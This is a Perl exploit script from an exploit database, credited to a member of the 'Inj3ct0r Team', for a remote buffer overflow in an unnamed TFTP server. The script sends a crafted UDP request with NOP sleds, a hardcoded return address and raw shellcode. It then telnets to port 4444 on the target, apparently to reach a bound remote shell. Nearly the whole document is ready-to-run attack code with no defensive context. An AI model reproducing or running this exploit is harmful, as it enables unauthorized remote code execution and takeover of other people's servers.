TFTP Server Remote Buffer Overflow Exploit

                                                                     
                                                                     
                                                                     
                                             
#!/usr/bin/perl -w
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#Exploit Title: TFTP Server Remote Buffer Overflow Exploit
#Author: Angel Injection
#Home: http://1337day.com
#Greets To: Inj3ct0r Team| r0073r // Sid3^effects // r4dc0re // CrosS || Inj3ct0r Team || SeeMe // XroGuE // gunslinger_ // indoushka // KnocKout // ZoRLu // anT!-Tr0J4n // eXeSoul // KedAns-Dz // ^Xecuti0n3r // Kalashinkov3
use IO::Socket;
 
if(!($ARGV[1]))
{
 print "Usage: TFTP.pl <target host> <port>\n\n";
 exit;
}
 
$victim = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] sulla porta $ARGV[1]";
 
my $nop0="\x90"x20;
 
#8BC3           MOV EAX,EBX
#66:05 1201     ADD AX,112
#50             PUSH EAX
#C3             RETN
 
my $asm="\x6b\xc5\x67\x03\x16\x07\x40\xc4";
 
my $nop="\x90"x60;
 
my $nop1="\x90"x10;
 
my $eip="\x42\xfb\x71\x30";
#my $eip="B"x4;
$shellcode =
"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64".
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C".
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77".
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60".
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF".
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7".
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B".
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4".
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3".
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4".
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44".
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50".
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8";
 
$exploit = "\x00\x01" . $nop0 .$asm.$nop. $shellcode. $nop1 .$eip. "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00";
 
print $victim $exploit;
 
print " + Malicious request sent ...\n";
 
sleep(2);
 
print "Done.\n";
 
close($victim);
$host = $ARGV[0];
print " + connect to 4444 port of $host ...\n";
sleep(3);
system("telnet $host 4444");
exit;



#  0day.today [2018-02-19]  #